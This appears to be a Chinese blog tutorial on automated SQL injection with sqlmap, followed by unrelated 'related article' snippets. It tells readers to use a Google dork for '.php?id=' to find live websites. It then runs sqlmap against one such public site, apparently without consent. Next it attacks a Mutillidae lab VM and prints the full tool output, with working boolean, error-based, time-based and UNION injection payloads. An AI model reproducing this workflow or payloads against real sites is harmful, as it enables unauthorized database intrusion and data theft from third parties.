当前位置: 首页 > news >正文

sqlmap 自动注入 -01

1: 先看一下sqlmap 的help:

在kali-linux 系统里面,可以sqlmap -h看一下:

  Target:

    At least one of these options has to be provided to define the

    target(s)

    -u URL, --url=URL   Target URL (e.g. "Salesforce Platform for Application Development | Salesforce US")

    -g GOOGLEDORK       Process Google dork results as target URLs

可以看到上面是 php?id=1 的结尾的。

下面google 上面inurl .php?id= 来搜索一下:

去搜索的结果里面找一个有这样结尾的: .php?id=

其他的sqlmap 的参数也可以看一下,下面是一些例子:

  Enumeration:

    These options can be used to enumerate the back-end database

    management system information, structure and data contained in the

    tables

    -a, --all           Retrieve everything

    -b, --banner        Retrieve DBMS banner

    --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --passwords         Enumerate DBMS users password hashes

    --dbs               Enumerate DBMS databases

    --tables            Enumerate DBMS database tables

    --columns           Enumerate DBMS database table columns

    --schema            Enumerate DBMS schema

    --dump              Dump DBMS database table entries

    --dump-all          Dump all DBMS databases tables entries

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table(s) to enumerate

    -C COL              DBMS database table column(s) to enumerate

2: 下面测试一下:

└─# sqlmap -u "https:/abc.xxxxxphp?id=17"

        ___

       __H__                                                                                                       

 ___ ___[)]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [']     | .'| . |                                                                                          

|___|_  [(]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                       

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:52:06 /2025-01-21/

[02:52:06] [INFO] testing connection to the target URL

[02:52:08] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests

[02:52:08] [INFO] checking if the target is protected by some kind of WAF/IPS

[02:52:10] [INFO] testing if the target URL content is stable

[02:52:12] [INFO] target URL content is stable

[02:52:12] [INFO] testing if GET parameter 'id' is dynamic

[02:52:14] [WARNING] GET parameter 'id' does not appear to be dynamic

[02:52:15] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

[02:52:17] [INFO] testing for SQL injection on GET parameter 'id'

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

可以看出,上面已经返回结果,说,后台的数据库好像是mysql, 那么就可以用dbms=mysql 来指定DB进行注入:

还有个参数是 --batch, 这个是不要交互的参数:

 上面的输入" Y" 后,出现如下的参数:

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

[03:04:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:04:39] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:04:40] [INFO] testing 'Generic inline queries'

[03:04:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

有level 和risk 的参数,下面我们还是进入owasp 来看一下:

进入这个buttom:

直接进入这个界面:

进入这个界面:

随便输入一个账号+ 密码 进入:

看一下生成的link URL 如下:

http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details

下面用这个url sql 注入一下:

sqlmap -u "http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username

下面是注入结果:

      __H__                                                                                                       

 ___ ___[(]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [)]     | .'| . |                                                                                          

|___|_  ["]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                  

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:26:28 /2025-01-21/

[03:26:28] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=t8tm6u91qtv...on6o3e2772;showhints=1'). Do you want to use those [Y/n] Y

[03:26:29] [INFO] testing if the target URL content is stable

[03:26:30] [INFO] target URL content is stable

[03:26:31] [INFO] heuristic (basic) test shows that GET parameter 'username' might be injectable (possible DBMS: 'MySQL')                                                                                                              

[03:26:32] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks

[03:26:32] [INFO] testing for SQL injection on GET parameter 'username'

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y

[03:26:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:26:33] [WARNING] reflective value(s) found and filtering out

[03:26:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:26:42] [INFO] testing 'Generic inline queries'

[03:26:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:10] [INFO] GET parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Signature=")                                                                     

[03:27:10] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'                                                                                                                

[03:27:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'

[03:27:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'

[03:27:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'

[03:27:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[03:27:15] [INFO] GET parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                           

[03:27:15] [INFO] testing 'MySQL inline queries'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'

[03:27:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[03:27:30] [INFO] GET parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

[03:27:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[03:27:31] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[03:27:33] [INFO] target URL appears to have 7 columns in query

[03:27:36] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

[03:27:36] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval

GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:

---

Parameter: username (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

    Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

    Type: UNION query

    Title: MySQL UNION query (NULL) - 7 columns

    Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details

---

[03:27:36] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP 5.3.2, PHP, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

[03:27:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

[03:27:39] [WARNING] your sqlmap version is outdated

[*] ending @ 03:27:39 /2025-01-21/

--

上面的注入结果:

自动输入 " Y" 是因为 测试语句加入 --batch 的结果。

如果是第二次再run 同样的注入语句的话,时间会很快结束了。

上面如果没有加 -p username 的话,会对很多个注入点进行检测,会很耗时间。

参考文献: 

16.SQL注入攻击_哔哩哔哩_bilibili

相关文章:

sqlmap 自动注入 -01

1: 先看一下sqlmap 的help: 在kali-linux 系统里面&#xff0c;可以sqlmap -h看一下: Target: At least one of these options has to be provided to define the target(s) -u URL, --urlURL Target URL (e.g. "Salesforce Platform for Application Development | Sa…...

3.8.Trie树

Trie树 Trie 树&#xff0c;又称字典树或前缀树&#xff0c;是一种用于高效存储和检索字符串数据的数据结构&#xff0c;以下是关于它的详细介绍&#xff1a; 定义与原理 定义&#xff1a;Trie 树是一种树形结构&#xff0c;每个节点可以包含多个子节点&#xff0c;用于存储…...

day 21

进程、线程、协程的区别 进程&#xff1a;操作系统分配资源的最小单位&#xff0c;其中可以包含一个或者多个线程&#xff0c;进程之间是独立的&#xff0c;可以通过进程间通信机制&#xff08;管道&#xff0c;消息队列&#xff0c;共享内存&#xff0c;信号量&#xff0c;信…...

基于模板方法模式-消息队列发送

基于模板方法模式-消息队列发送 消息队列广泛应用于现代分布式系统中&#xff0c;作为解耦、异步处理和流量控制的重要工具。在消息队列的使用中&#xff0c;发送消息是常见的操作。不同的消息队列可能有不同的实现方式&#xff0c;例如&#xff0c;RabbitMQ、Kafka、RocketMQ…...

俄语画外音的特点

随着全球媒体消费的增加&#xff0c;语音服务呈指数级增长。作为视听翻译和本地化的一个关键方面&#xff0c;画外音在确保来自不同语言和文化背景的观众能够以一种真实和可访问的方式参与内容方面发挥着重要作用。说到俄语&#xff0c;画外音有其独特的特点、挑战和复杂性&…...

PyTorch使用教程(10)-torchinfo.summary网络结构可视化详细说明

1、基本介绍 torchinfo是一个为PyTorch用户量身定做的开源工具&#xff0c;其核心功能之一是summary函数。这个函数旨在简化模型的开发与调试流程&#xff0c;让模型架构一目了然。通过torchinfo的summary函数&#xff0c;用户可以快速获取模型的详细结构和统计信息&#xff0…...

亚博microros小车-原生ubuntu支持系列:5-姿态检测

MediaPipe 介绍参见&#xff1a;亚博microros小车-原生ubuntu支持系列&#xff1a;4-手部检测-CSDN博客 本篇继续迁移姿态检测。 一 背景知识 以下来自亚博官网 MediaPipe Pose是⼀个⽤于⾼保真⾝体姿势跟踪的ML解决⽅案&#xff0c;利⽤BlazePose研究&#xff0c;从RGB视频…...

C语言之高校学生信息快速查询系统的实现

&#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 C语言之高校学生信息快速查询系统的实现 目录 任务陈述与分析 问题陈述问题分析 数据结构设…...

WPF基础 | WPF 基础概念全解析:布局、控件与事件

WPF基础 | WPF 基础概念全解析&#xff1a;布局、控件与事件 一、前言二、WPF 布局系统2.1 布局的重要性与基本原理2.2 常见布局面板2.3 布局的测量与排列过程 三、WPF 控件3.1 控件概述与分类3.2 常见控件的属性、方法与事件3.3 自定义控件 四、WPF 事件4.1 路由事件概述4.2 事…...

迷宫1.2

先发一下上次的代码 #include<bits/stdc.h> #include<windows.h> #include <conio.h> using namespace std; char a[1005][1005]{ " ", "################", "# # *#", "# # # #&qu…...

RabbitMQ---应用问题

&#xff08;一&#xff09;幂等性介绍 幂等性是本身是数学中的运算性质&#xff0c;他们可以被多次应用&#xff0c;但是不会改变初始应用的结果 1.应用程序的幂等性介绍 包括很多&#xff0c;有数据库幂等性&#xff0c;接口幂等性以及网络通信幂等性等 就比如数据库的sel…...

Unity自学之旅03

Unity自学之旅03 Unity自学之旅03&#x1f4dd; 碰撞体 Collider 基础定义与作用常见类型OnCollisionEnter 事件碰撞触发器 &#x1f917; 总结归纳 Unity自学之旅03 &#x1f4dd; 碰撞体 Collider 基础 定义与作用 定义&#xff1a;碰撞体是游戏中用于检测物体之间碰撞的组…...

pip 相关

一劳永逸法&#xff08;pip怎么样都用不了也更新不了&#xff09;&#xff1a; 重下python(卸载旧版本&#xff09;&#xff1a;请输入访问密码 密码&#xff1a;7598 各版本python都有&#xff0c;下3.10.10 python路径建立&#xff0c;pip无法访问方式&#xff1a; 访问pip要…...

vue request 发送formdata

在Vue中&#xff0c;你可以使用axios库来发送包含FormData的请求。以下是一个简单的例子&#xff1a; 首先&#xff0c;确保你已经安装了axios&#xff1a; npm install axios然后&#xff0c;你可以使用axios发送FormData&#xff0c;例如&#xff1a; import axios from a…...

Android RTMP直播练习实践

前言&#xff1a;本文只是练习&#xff0c;本文只是练习&#xff0c;本文只是练习&#xff01; 直播的核心就是推流和拉流&#xff0c;我们就以RTMP的协议来实现下推流和拉流&#xff0c;其他的协议等我学习后再来补充 1.推流 1.1搭建流媒体服务器&#xff0c;具体搭建方法请参…...

ITIL认证工具商-ManageEngine Servicedesk Plus

ServiceDesk Plus是Zoho Corporation旗下企业IT管理部门ManageEngine提供的统一服务管理解决方案。凭借其无限的可扩展性、情境化的IT和业务集成以及一键式工作流程自动化功能&#xff0c;IT领导者可以使用ServiceDesk Plus有效执行和控制跨不同业务部门和IT功能的复杂工作流程…...

https 的 CA证书和电子签名

https 的攻击者可能使用伪造的一对公私钥与客户端交互, 那么如何确保确实是该服务器的公钥呢? 这就诞生了CA颁发机构 CA颁发机构 服务器和客户端都信任指定的CA颁发机构 服务器上传服务器公钥, CA颁发机构做了什么 服务器公钥哈希, 记为 Hash使用 CA 私钥为 Hash 进行 CA 签…...

频繁刷新网页会对服务器造成哪些影响?

当用户在进行浏览网页的过程中频繁刷新页面时&#xff0c;浏览器会向服务器发送请求&#xff0c;服务器会对该请求进行处理并返回到相应的页面内容中&#xff0c;所以频繁刷新网页会对服务器造成影响&#xff0c;有可能会出现以下问题&#xff1a; 用户每次刷新网页都会向服务器…...

贪心算法(题1)区间选点

输出 2 #include <iostream> #include<algorithm>using namespace std;const int N 100010 ;int n; struct Range {int l,r;bool operator <(const Range &W)const{return r<W.r;} }range[N];int main() {scanf("%d",&n);for(int i0;i&l…...

JavaWeb开发学习笔记--MySQL

MySQL-DQL 基本语法&#xff1a; select 字段列表 from 表名列表 where 条件列表 group by 分组字段列表 having 分组后条件列表 order by 排序字段列表 limit 分页参数 基本查询 关键字&#xff1a;SELECT 查询多个字段&#xff1a;select 字…...

gitlab CI/CD本地部署配置

背景: 代码管理平台切换为公司本地服务器的gitlab server。为了保证commit的代码至少编译ok&#xff0c;也为了以后能拓展test cases&#xff0c;现在先搭建本地gitlab server的CI/CD基本的编译job pipeline。 配置步骤&#xff1a; 先安装gitlab-runner: curl -L "ht…...

ArcGIS Maps SDK for JavaScript:使用图层过滤器只显示FeatureLayer的部分要素

文章目录 引言1 需求场景分析2精确过滤实现方案2.1 基础过滤语法2.2 动态过滤实现 3 模糊查询进阶技巧3.1 LIKE操作符使用3.2 特殊字段处理 4. 性能优化与注意事项4.1 服务端vs客户端过滤4.2 最佳实践建议 5 常见问题解答 引言 在地图应用开发中&#xff0c;图层过滤是常见的需…...

计算机视觉与深度学习 | 基于MATLAB的图像特征提取与匹配算法总结

基于MATLAB的图像特征提取与匹配算法全面指南 图像特征提取与匹配 基于MATLAB的图像特征提取与匹配算法全面指南一、图像特征提取基础特征类型分类二、点特征提取算法1. Harris角点检测2. SIFT (尺度不变特征变换)3. SURF (加速鲁棒特征)4. FAST角点检测5. ORB (Oriented FAST …...

【Qt】:设置新建类模板

完整的头文件模板 #ifndef %FILENAME%_H #define %FILENAME%_H/*** brief The %CLASSNAME% class* author %USER%* date %DATE%*/ class %CLASSNAME% { public:%CLASSNAME%();~%CLASSNAME%();// 禁止拷贝构造和赋值%CLASSNAME%(const %CLASSNAME%&) delete;%CLASSNAME%&a…...

使用 Python 自动化 Word 文档样式复制与内容生成

在办公自动化领域&#xff0c;如何高效地处理 Word 文档的样式和内容复制是一个常见需求。本文将通过一个完整的代码示例&#xff0c;展示如何利用 Python 的 python-docx 库实现 Word 文档样式的深度复制 和 动态内容生成&#xff0c;并结合知识库中的最佳实践优化文档处理流程…...

最新研究揭示云端大语言模型防护机制的成效与缺陷

一项全面新研究揭露了主流云端大语言模型&#xff08;LLM&#xff09;平台安全机制存在重大漏洞与不一致性&#xff0c;对当前人工智能安全基础设施现状敲响警钟。该研究评估了三大领先生成式AI平台的内容过滤和提示注入防御效果&#xff0c;揭示了安全措施在阻止有害内容生成与…...

Cilium动手实验室: 精通之旅---4.Cilium Gateway API - Lab

Cilium动手实验室: 精通之旅---4.Cilium Gateway API - Lab 1. 环境准备2. API 网关--HTTP2.1 部署应用2.2 部署网关2.3 HTTP路径匹配2.4 HTTP头匹配 3. API网关--HTTPS3.1 创建TLS证书和私钥3.2 部署HTTPS网关3.3 HTTPS请求测试 4. API网关--TLS 路由4.1 部署应用4.2 部署网关…...

26.【新型数据架构】-零ETL架构

26.【新型数据架构】-零ETL架构:减少数据移动,原系统直接分析;典型实现(AWS Zero-ETL) 一、零ETL的本质:从“数据搬运工”到“数据翻译官” 传统ETL(Extract-Transform-Load)需要将数据从源系统抽取、清洗、转换后加载到目标系统,这一过程往往耗时费力,且面临数据延…...

Lua和JS的继承原理

JavaScript 和 Lua 都是动态语言&#xff0c;支持面向对象编程&#xff08;OOP&#xff09;&#xff0c;但它们的 继承机制 实现方式不一样。下面分别介绍它们的继承实现原理和方式&#xff1a; &#x1f536; JavaScript 的继承机制 JavaScript 使用的是 基于原型&#xff08…...

PostgreSQL17 编译安装+相关问题解决

更新时间&#xff1a;2025.6.6&#xff0c;当前最新稳定版本17.5&#xff0c;演示的是17.5&#xff0c;最新测试版本18beta1 演示系统&#xff1a;debian12 很多时候&#xff0c;只有编译安装才能用上最新的软件版本或指定的版本。这也是编译安装的意义。 一、编译安装 &…...